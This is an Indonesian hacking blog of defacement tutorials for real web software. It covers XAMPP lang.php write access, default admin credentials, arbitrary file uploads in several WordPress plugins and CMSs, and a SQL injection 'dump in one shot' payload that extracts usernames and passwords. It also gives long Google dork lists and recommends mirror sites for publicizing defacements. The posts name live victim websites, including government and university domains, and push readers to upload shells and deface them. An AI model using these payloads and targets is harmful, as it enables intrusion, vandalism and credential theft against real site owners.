Home Deface

Xampp Local Write Access + Live Target

      1 comment   
Assalamualaikum Wr. Wb.

Deface Poc Xampp Local Write Access - Halo sobat kacang. Kali ini, saya akan memberikan tutorial deface yang menurut saya paling easy, Lebih easy dari kindeditor. Cuman bedanya poc ini bisa dimirorin di zone-h. Kalian tau zone-h kan? Kalo Kalian gk tau kalian bisa cari tau disini.

Banyak defacer yang ngepush zone-h dengan poc xampp local write access. Kali ini gw juga udah nyediain puluhan live target. Semuanya fresh zone-h, cuman harus nunggu redefacement saja.

Oke langsung aja.

- Dork :
inurl:/security/lang.php
inurl:/xampp/lang.php

kembangin lagi gan

- Exploit
site.com/xampp/lang.php?Hacked_By_rizki ( untuk dir xampp )
site.com/security/lang.php?Hacked_By_rizki ( untuk dir security )

Note : "Hacked_By_Rizki" bisa diubah dengan nick kalian masing - masing.

- Langkah-langkah
1. Dorking dulu dengan dork yang sudah saya sediakan diatas atau jika kalian malas dorking, kalian bisa menggunakan live target yang sudah saya sediakan dibawah.
2. Jika sudah mendapatkan sitenya, kalian beri exploit yang sudah tersedia diatas.
Contoh :
http://site.com/xampp/lang.php?hacked_by_rizki ( dir xampp )
http://site.com/security/lang.php?hacked_by_rizki ( dir security )
3. Jika berhasil akan seperti gambar dibawah ini.
Gambar :
Gambar 1 ( Xampp Local Write Access )

4. Preview :
site.com/xampp/lang.tmp ( untuk dir xampp )
site.com/security/lang.tmp ( untuk dir security )
Gambar :
Gambar 2 ( Xampp Local Write Access )

5. Jika sudah, mirorin di zone-h :D

- Live Target
http://fleischhacker-homedefi.biz/xampp/lang.php?hacked_by_rizki
http://metrologi.kemendag.go.id/xampp/lang.php?hacked_by_rizki
https://www.ftsm.ukm.my/xampp/lang.php?hacked_by_rizki
http://a-pack.co.id/xampp/lang.php?hacked_by_rizki
http://online-gen.wbpdcl.co.in/xampp/lang.php?hacked_by_rizki
https://www.bombayworli.com/xampp/lang.php?hacked_by_rizki
https://www.xingyue.com/xampp/lang.php?hacked_by_rizki
https://www.crick99.com/xampp/lang.php?hacked_by_rizki
http://www.callbiz.com/xampp/lang.php?hacked_by_rizki

Mau lebih? usaha dong xixixi

Semoga bermanfaat.
Thank's To : Banyumas Cyber Team

-Adm1n

Deface Poc Backdoor Account Vulnerability

      1 comment   

Assalamualaikum wr.wb. Halo gan, kembali lagi di Blog KacangCanggih hehe. Sorry jarang update artikel dikarenakan saya sibuk ngurusin sekolah. Hari ini saya akan memberikan tutor deface metode Backdoor Account Vulnerability. Oke langsung saja ke step by stepnya.

 Dork
inurl:/amssplus/ intitle:"AMSS++"  
Kembangin Dorknya Maz
Account
User = admin
Password = 1234 
Tutorial
  • Kalian dorking dulu di search engine kesukaan kalian. 
  • Kalian coba login pake user dan pass diatas, jika masuk ke dashboard admin, berarti vuln. 
  • Silahkan kalian translate webnya dulu ke bahasa Indonesia, lalu cari menu informasi dasar guru & staf. 

  • Kemudian pilih Guru dan Personel saat ini. 

  • Setelah diklik, maka akan muncul list berupa data dan informasi guru/staf. 

  • Jika kalian ingin upload shell, kalian bisa buat data/info baru. 
  • Lalu klik gambar dua orang > klik kanan gambar rusak > buka di tab baru. 
  • Done! Shell Uploaded 
Terimakasih telah mmengunjungi Blog Kacang Canggih. Jangan lupa untuk membagikan artikel ini kepada temen temen kamu xD

Deface Poc Tinymcpuk File Upload

      5 comments   

[+] Exploit Title = Tinymcpuk
[+] Author = KingSkrupellos
[+] Team = Cyberizm.Org Digital Security Team
[+] Google Dork =
Created by media tech indonesia
Created by media tech indonesia inurl:/statis-1 intext:whatsapp
Selebihnya use your brain :)
[+] Exploit = site.com/tinymcpuk/filemanager/browser.html?Connector=connectors/php/connector.php&Type=Flash
[+] Tutorial =
1. Langkah pertama, kalian dorking dulu dengan menggunakan dork yang telah saya sediakan di atas pada search engine kesukaan kalian.
2. Biasanya website yang vuln tinymcpuk adalah website daihatsu, suzuki, toyota, dan lain - lain.
3. Jika sudah menemukan website yang kira - kira vuln tinymcpuk, kalian kemudian tambahkan exploit yang saya berikan diatas dibelakang URL website.
4. Selanjutnya, klik "Pilih File" dan kalian upload script deface kalian berextensi php.fla atau html.fla
Gambar :

5. Cara akses filenya gimana gan? site.com/tinymcpuk/gambar/Flash/scriptdefacekamu.php.fla

Live Target = http://daihatsubangkalan.com

Gimana? Mudah bukan? Tinggal mirorin deh.. Jika kalian ingin request tutor, cukup komen postingan diblog ini atau bisa hubungi kami lewat halaman contact diblog ini. There a problem? Google Your Friend!

-Adm1n

WordPress Themes Qualifire CSRF File Upload

      5 comments   

[+] Exploit Title = WordPress Themes Qualifire CSRF File Upload
[+] Google Dork =

  • inurl:/wp-content/themes/qualifire
  • index of / wp-content/themes/qualifire
[+] Exploit = site.com/[path]/wp-content/themes/qualifire/scripts/admin/uploadify/uploadify.php
[+] Tutorial 
1. Dorking dulu menggunakan dork yang telah saya sediakan di atas pada search engine kesukaan kalian. 
2. Jika sudah menemukan target, tambahkan exploit seperti di atas di belakang URL website. Vulnerability? Tampilan website blank! 
3. Masuk ke CSRF Online banyak kok di google, tinggal kalian cari sendiri h3h3 :'v
4. Isi kolom pertama dengan target website yang vuln, isi kolom kedua dengan postfile "Filedata" lalu kunci target tersebut. 


5. Upload file kalian yang ber - extensi txt, jpg, png, gif kalau lagi hoki bisa upload shell :'3 
6. Akses filenya gimana gan? http://site.com/[path]/filekalian.txt atau http://site.com/filekalian.txt

Live Target = http://www.hintofsaffron.com/wp-content/themes/qualifire/scripts/admin/uploadify/uploadify.php

Nah, gimana gan, so easy kan? :v Jika kalian ingin request tutor tinggal comment aja di kolom komentar. There a problem? Google Your Friend! 

Pendaftaran Kontributor Indonesian sites BUG File Upload

      6 comments   

[+] Exploit Title = Pendaftaran Kontributor Indonesian sites BUG File Upload
[+] Author = Negat1ve
[+] Team = -1 and Electronic ThunderBolt Team
[+] Dork =
inurl:/kontributor intext:Terima kasih
inurl:/kontributor site:id
inurl:/kontributor site:net
inurl:/kontributor site:com
[+] Tutorial
1. Langkah pertama, kalian dorking dengan dork yang telah saya beri tadi.
2. Setelah itu, kalian login dengan email (email palsu juga gk apa apa), password, dll.
Gambar :

Maaf ya, banyak yang saya sensor h3h3 :v
3. Selanjutnya, isi security code, dan klik "Daftar Sekarang"
Gambar :

4. Selanjutnya kalian akan masuk pada halaman dashboard.
5. Lalu klik "Tambahkan Data"
Gambar :

6. Selanjutnya, terserah kalian mau di jso (Javascript Overlay) atau apalah itu.
7. Tinggal mirorin :)

Live Target :
http://dayabanten.com/kontributor

Nah, gimana pembahasan saya kali ini? Mudah bukan? Jika kalian ingin request, silahkan hubungi kami dikolom komentar atau pada halaman contact blog ini. Good Luck! There a problem? Google Your Friend!

-Admin

WordPress Plugin PitchPrint Arbitrary File Upload

      4 comments   

WordPress Plugins PitchPrint rentan terhadap kerentanan yang memungkinkan penyerang mengunggah file sewenang-wenang karena aplikasi gagal memverifikasi dengan benar input yang diberikan pengguna. Penyerang dapat memanfaatkan kerentanan ini untuk mengunggah kode atau file sewenang-wenang dan menjalankannya dalam konteks proses server web.

[+] Google Dork = inurl:/wp-content/plugins/pitchprint/
[+] Exploit = /wp-content/plugins/pitchprint/uploader/
[+] CRSF =  Touch Me :*
[+] Only For File Types = jpg, png, jpeg, gif.
[+] Tutorial =

  • Dorking dulu dork yang telah saya sediakan diatas pada search engine kesayangan kalian, kalau bisa kembangin dorknya h3h3 :v 
  • Jika sudah mendapatkan target, tambahkan exploit diatas di belakang URL website. Vulnerability? See the picture! 


  • Masuk ke CSRF. Isi kolom pertama dengan URL website, isi kolom kedua dengan post file files[] 
  • Upload file kalian. Jika sudah terupload maka tampilan websitenya seperti gambar di bawah ini. 


  • Akses filenya gimana gan? http://site.com/wp-content/plugins/pitchprint/uploader/files/filekalian.jpg 

Itu saja tutorial dari saya, kurang lebihnya saya minta maaf jika terjadi kesalahan kata/kalimat yang tidak pantas. Terus kunjungi Blog KacangCanggih untuk mendapatkan informasi menarik lainnya. 

Cara Deface SQLi dengan Dios (Dump In One Shot)

      4 comments   

Ok, setelah saya memberikan daftar Dork Fresh SQLi 2019, sekarang giliran kita akan mempraktekannya.

Apa itu SQLi?
SQLi adalah singkatan dari Stuctured Query Language Injection. Kegiatan SQLi ini memungkinkan para attacker untuk melihat table dan database pada suatu website.

Kegiatan ini terbilang cukup mudah, karena cuma tempel tempel dios saja. Dios adalah Dump In One Shot. Dengan "dios" inilah kamu dapat melihat column dan tablenya.

Mumpung disini saya udah mendapatkan website vuln SQLi - nya, kita akan coba eksekusi.

Live Target = http://iagcc.com/news.php?id=58

Cara Deface SQLi dengan Dios (Dump In One Shot)
1. Oke, langkah pertama kalian dorking sendiri, dengan dork yang sudah saya berikan dipostingan sebelumnya atau dengan live target diatas.

2. Untuk Menentukan vuln atau tidaknya, cukup kamu beri string atau quote (')
Contoh : http://iagcc.com/news.php?id=58'

3. Jika vuln web yang tadi kamu beri string akan muncul kata kata "You Have error an SQL bla.. bla.. bla.." entah apalah itu saya tidak hafal h3h3 :v

4. Lanjut kita bermain order by sampai eror.
Contoh :
http://iagcc.com/news.php?id=58+order+by+1-- (Normal)
http://iagcc.com/news.php?id=58+order+by+2-- (Normal)
http://iagcc.com/news.php?id=58+order+by+3-- (Normal)
http://iagcc.com/news.php?id=58+order+by+4--(Normal)
http://iagcc.com/news.php?id=58+order+by+5-- (Normal)
http://iagcc.com/news.php?id=58+order+by+6-- (Normal)
http://iagcc.com/news.php?id=58+order+by+7-- (Error)

5. Karena errornya pada angka 7, maka columnya ada 6.

6. Sekarang kita kasih union select sesuai column
Contoh :
http://iagcc.com/news.php?id=-58+union+select+1,2,3,4,5,6--
Jangan lupa beri tanda (-) sebelum parameter GET (liat sebelum angka 58)

7. Setelah itu akan muncul angka ajaibnya. Pada web tadi angka ajaibnya ada pada angka 4. Karena angka ajaib ada di angka 4, maka kita akan masukkan diosnya.
Dios :
make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)

Contoh :
http://iagcc.com/news.php?id=-58+union+select+1,2,3,make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@),5,6--

8. Maka akan muncul semua column dan tablenya. Liat gambar :

9. Selanjutnya tinggal kita dump yang column nya yang sekiranya berbau admin,users,dll seperti gambar diatas yang saya beri tanda panah.

10. Jadi, ngedump username dan passwordnya seperti ini :
http://iagcc.com/news.php?id=-58+union+select+1,2,3,make_set(6,@:=0x0a,(select(1)from(users)where@:=make_set(511,@,0x3c6c693e,UserName,Password)),@),5,6--
11. Nah, sudah ketemu nih username dan passwordnya tinggal hash dan cari admin loginnya.
Gambar :

oke, demikian dulu pembahasan SQLi dengan dios. Semoga bermanfaat dan gunakan dengan bijak. Thank's.

Dork Fresh SQLi 2019

      4 comments   

Gambar Pemanis

Dork diperlukan sebagai senjata ampuh dalam kegiatan defacing. Tetapi banyak juga defacer yang mencari kelemahan website tanpa sebuah dork. Namun bagi kalian yang pemula, mencari kelemahan website tanpa sebuah dork akan menjadi hal susah.

Kali ini saya selaku admin Blog Kacang Canggih, akan membagikan beberapa daftar Dork SQLi Fresh 2019. Saya juga sudah dapat beberapa web vuln yang akan saya eksekusi sendiri. Yuk langsung aja kita kepembahasannya.

Note: Jangan bergantung pada dorknya, bergantunglah kepada otak kalian yang akan mengeksekusinya.

inurl:payment.php?card&id=
inurl:buy.php?view&id=
inurl:card.php?pid=
inurl:/module/News.php?cid=
inurl:index.php?id=
inurl:/banner.php?id= Cid
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:lay_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:ageid=
inurl:games.php?id=
inurl:age.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:rtray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurlroduct-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:review.php?id=
inurl:loadpsb.php?id=
inurlinions.php?id=
inurl:spr.php?id=
inurl:ages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:articipant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:rod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:erson.php?id=
inurlroductinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:rofile_view.php?id=
inurl:category.php?id=
inurl:ublications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:rod_info.php?id=
inurl:shop.php?do=part&id=
inurl:roductinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurlroduct.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:roduit.php?id=
inurlp.php?id=
inurl:shopping.php?id=
inurl:roductdetail.php?id=
inurlst.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:age.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:roduct_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurlroduct-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:review.php?id=
inurl:loadpsb.php?id=
inurl:ages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:inions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:ffer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
inurl:php?=id+gov
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:/product/brand_id=
inurl:/products/product.php?id=
inurl:/about.php?cid=
inurl:/feed_bunner?id=
inurl:/informasi_detail.php?id=
inurl:/author.php?id=
inurl:/post.php?id=
inurl:/Topic.php?id=
inurl:/categorias.php?id=
inurl:/show-post.php?id=
inurl:/news/post.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:news-full.php?id=
inurl:transcript.php?id=
inurl:readnews.php?id=
inurl:/manage-news.php?id=
inurl:/videos.php?id=
inurl:/Products.php?id= Site:in "delhi"
inurl:/post?id=published
inurl:/module/berita.php?id=
inurl:/hal=berita?id=
inurl:/Detil.php?id=
inurl:/prod.php?id=
inurl:/staff.php?id=
inurl/profile_view.php?id=
inurl:/s.php?id=
inurl:/interviews.php?do=view&id
inurl:/berita.php?id=4
inurl:?menu=02&id=14¬icia=
inurl:/view.php?id=
inurl:/media.php?module=detailproduk&id=
inurl:/module=detailproduk&id=
inurl:/content&author?id=
inurl:/articletext&asset=
inurl:/media&view=
inurl:/eventsandnews.php?id=
inurl:/full_content.php?article_id=
inurl:product_detail.php?id=
inurl:blog_post.php?id=
inurl:detail_berita.php?id=
inurl:tentang_kami.php?id=
inurl:hukum.php?id= site:go.id
inurl:kategori.php?id= site:go.id
inurl:berita.php?id= site:go.id
inurl:event.php?id= site:go.id
inurl:pengumuman.php?id= site:go.id
inurl:Category.php?id= site:us
inurl:shipped.php?id= site:us
site:us inurl:view cart.php?id=
site:us inurl:Smartphones.php?id=
site:us inurl:School.php?id=
inurl:/blog.php?id=
inurl:/main?module=home
inurl:/Catalog.aspx?id_group=
inurl:/about.php?id=
inurl:/Newsleter.php?id=
inurl:/stats.php?id=
inurl:/artikel.php?cat_id=
inurl:hal=detail_artikel.php?id
inurl:detail_berita.php?id= site:.com
inurl:product_detail.php?id=

Demikian beberapa daftar dork fresh SQLi hasil rangkuman saya. Semoga bermanfaat dan bijaklah dalam menggunakannya. Happy Defacing!

Situs Tempat Mirror Deface Terbaik

      5 comments   

Deface adalah teknik mengganti atau menyisipkan file pada server, teknik ini dapat dilakukan karena terdapat lubang pada sistem security yang ada di dalam sebuah aplikasi. Hal ini bertujuan untuk melakukan perubahan tampilan pada website korban dengan tampilan yang dimiliki oleh si defacer. Deface merupakan sebuah serangan yang dilakukan untuk mengganti visual dari sebuah website. Para hacker biasanya meninggalkan pesan dan nickname mereka agar hasil kerjanya diketahui oleh khalayak hacker.

Tujuan defacer dalam melakukan kegiatan mendeface suatu website bermacam macam, seperti menyampaikan aspirasi kepada pemerintah, atau hanya sekedar mencari ketenaran dengan mencetak archive defacement pada suatu website archive mirror defacement.

Kali ini saya akan membahas situs/website tempat mirror deface yang cukup populer. Berikut ini perinciannya.

1. Zone-H.org

Zone-H adalah situs mirror deface yang sangat populer di kalangan para defacer global. Situs ini didirikan oleh Roberto Preatoni di Estonia pada tanggal 2 Maret 2002. Situs ini telah menyimpan hasil deface dari para defacer di seluruh dunia termasuk Indonesia.

2. HackersID.com

Situs tempat mirror ini didirikan pada tanggal 2 Agustus 2018. HackersID adalah situs tempat mirror hasil deface yang dibuat oleh orang Indonesia. Disinilah kebanyakan para defacer tanah air menyubmitkan hasil deface mereka.

3. Defacer.ID 

Defacer.ID adalah situs tempat mirror hasil deface yang tidak kala populer dari Zone-H.org dan HackersID.com. Situs ini juga dibuat oleh orang Indonesia. Kabarnya situs ini pernah dideface oleh defacer tanah air karena banyak fake defacement yang diarchivekan.

4. Zone-D.org 

Situs ini masih tergolong baru sejak artikel ini ditulis. Walaupun masih tergolong baru, tetapi sudah banyak defacer-defacer tanah air yang sudah menyubmitkan hasil deface mereka di situs ini.

Demikian artikel situs tempat mirror deface terbaik menurut KacangCanggih. Terima kasih telah mengunjungi blog KacangCanggih. Dan jangan lupa untuk terus mengunjungi blog kami untuk melihat artikel lainnya. 

WordPress 5.0.4 FormCraft Plugins 2.0 CSRF Backdoor Access Vulnerability

      Comment   

[+] Exploit Title = WordPress 5.0.4 FormCraft Plugins 2.0 CSRF Backdoor Access Vulnerability
[+] Author = KingSkrupellos
[+] Team = Cyberizm Digital Security Army
[+] Dork = inurl:/wp-content/plugins/formcraft/
[+] Exploit = http://site.com/wp-content/plugins/formcraft/file-upload/server/php/upload.php /wp-content/plugins/formcraft/file-upload/server/content/upload.php
[+] Only For File Types = txt, jpg, png.
[+] CSRF = touch me :*
[+] Tutorial =
Dorking dulu pake dork yang telah disediakan di atas, kembangin biar dapet yang fresh mirror :D
Jika sudah mendapat target, silahkan tambahkan exploit seperti yang di atas.
Ciri-ciri vuln muncul tulisan {"failed":"No file found 2"}. Contohnya seperti gambar di bawah ini.

Masukkan web vuln tersebut ke dalam CSRF Online yang telah disediakan.
Isi kolom pertama dengan target web vuln tersebut.
Isi kolom kedua dengan postfile files[] atau kalian bisa lihat gambar dibawah ini.

Kemudian klik "Titeni Target".
Setelah itu, pilih file ext txt, jpg, png.
Gimana cara akses filenya gan? Nanti akan muncul sendiri setelah mengupload file kalian, seperti gambar di bawah ini.
[+] Thanks to = All Member Banyumas Cyber Team ^_^

Deface Poc Admin Access Broken

      Comment   

[+] Exploit Title = Admin Access Broken
[+] Author = BlackWolfSec
[+] Dork =

  • inurl:/admin/dashboard.php site:in
  • inurl:/dashboard.php site:in
  • inurl:/admin/upload.php
  • Kembangkan ya gan ^_^
[+] Vuln = Langsung ke dashboard admin 
[+] Tutorial =
  • Pilih salah satu dork yang telah saya sediakan diatas atau kalian kembangin biar dapat yang fresh miror.
  • Pilih salah satu website yang kira kira vuln. Ciri ciri vuln yaitu langsung ke dashboard admin. Seperti contoh di bawah ini. 

  • Kalian bisa upload shell backdoor, script deface, atau bisa di JS OVERLAY. 
  • Silahkan mencoba :D

#SalamHeker

Exploit Slims CMS Senayan Arbitrary File Upload Vulnerability

      Comment   

[+] Author = KingSkrupellos
[+] From = Cyberizm Digital Security Team
[+] Dork =

  • Powered by SLiMS
  • Powered by SLiMS site:id
  • Akses Katalog Publik Daring - Gunakan fasilitas pencarian untuk mempercepat penemuan data katalog
  • Senayan | Open Source Library Management System :: OPAC 
  • intext:This software and this template are released Under GNU GPL License Version 3. The Winner in the Category of OSS Indonesia ICT Award 2009
[+] Exploit = /admin/modules/bibliography/pop_attach.php
[+] Vuln = Muncul Form untuk upload script. 
[+] Only For File Types = txt, gif, jpg, png, jpeg, dan lain lain. 
[+] Tutorial = 
  • Pilih salah satu dork yang telah disediakan di atas atau kalian bisa mengembangkannya sendiri. 
  • Pilih salah satu website yang kira-kira vuln. 
  • Lalu tambahkan exploit seperti yang telah saya sediakan di atas. Perhatikan gambar dibawah ini untuk lebih jelas lagi. 

  • Upload file berekstensi txt, gif, jpg, png, dan lain sebagainya. 
  • Gimana cara akses filenya gan? Akses filenya biasanya di http://site.com/[path]/repository/filekalian. 

Oke itu dia tutorial dari saya semoga bermanfaat, jangan lupa dishare ya. 

#SalamHeker 

Deface Poc Kawaii File Hosting

      Comment   

[+] Dork =
  • Kawaii File Hosting 
  • Kawaii File Host 
  • Powered By Kawaii File Hosting 
  • Kembangkan biar dapat yang fresh (use your brain)
[+] Live Target = https://bakka.moe/
[+] Only For Filetype = html, txt, jpg, png, dan lainnya. 
[+] Tutorial = 
  • Silahkan kalian dorking dork seperti yang telah saya berikan diatas, selebihnya jika kalian ingin web yang masih fresh hackersid, zone-h, dll silahkan kalian kembangkan dork tersebut. 
  • Pilih salah satu web atau kalian gunakan live target diatas sebagai pembelajaran.
  • Klik tulisan "select or drop file(s)" atau klik "pilih file".
  • Upload file script kalian dalam bentuk yang telah saya jelaskan diatas, atau kalian bisa lihat gambar di bawah ini. 

  • Setelah diupload nanti kalian ditunjukkan link hasil upload script kalian. Untuk lebih jelasnya, kalian bisa lihat gambar di bawah ini. 

  • Selesai, Good Luck Sir. Tinggal kalian mirorin di defacer.id / hackersid.com / zone-h.org :v

#SalamHeker

Deface Poc Fine Uploader With CSRF

      1 comment   

[+] Author = Esevenb 
[+] From = Garuda Security Hacker 
[+] Dork = inurl:/fine_uploader.php
[+] Exploit = site.com/fine_uploader.php 
[+] CSRF = klik sini
[+] Only For File Types = txt, jpg, png.
[+] Tutorial =
  • Silahkan kalian dorking dork seperti yang sudah disediakan di atas (kembangkan lagi biar dapat yang vuln 
  • Pilih salah satu web, lalu tambahkan exploit diatas 
  • Jika muncul tulisan error berarti vuln. Contoh kalian bisa lihat di gambar  dibawah ini. 

  • Masukkan web vuln tersebut ke dalam CSRF online yang telah disediakan. 
  • Isi kolom pertama dengan web vuln tersebut, postfile qqfile, atau kalian bisa lihat gambar dibawah ini. 

  • Lalu upload file ext txt, png, jpg. 
  • Gimana cara akses filenya gan? Nanti akan muncul sendiri setelah mengupload file kalian, seperti gambar di bawah ini. 


#SalamHeker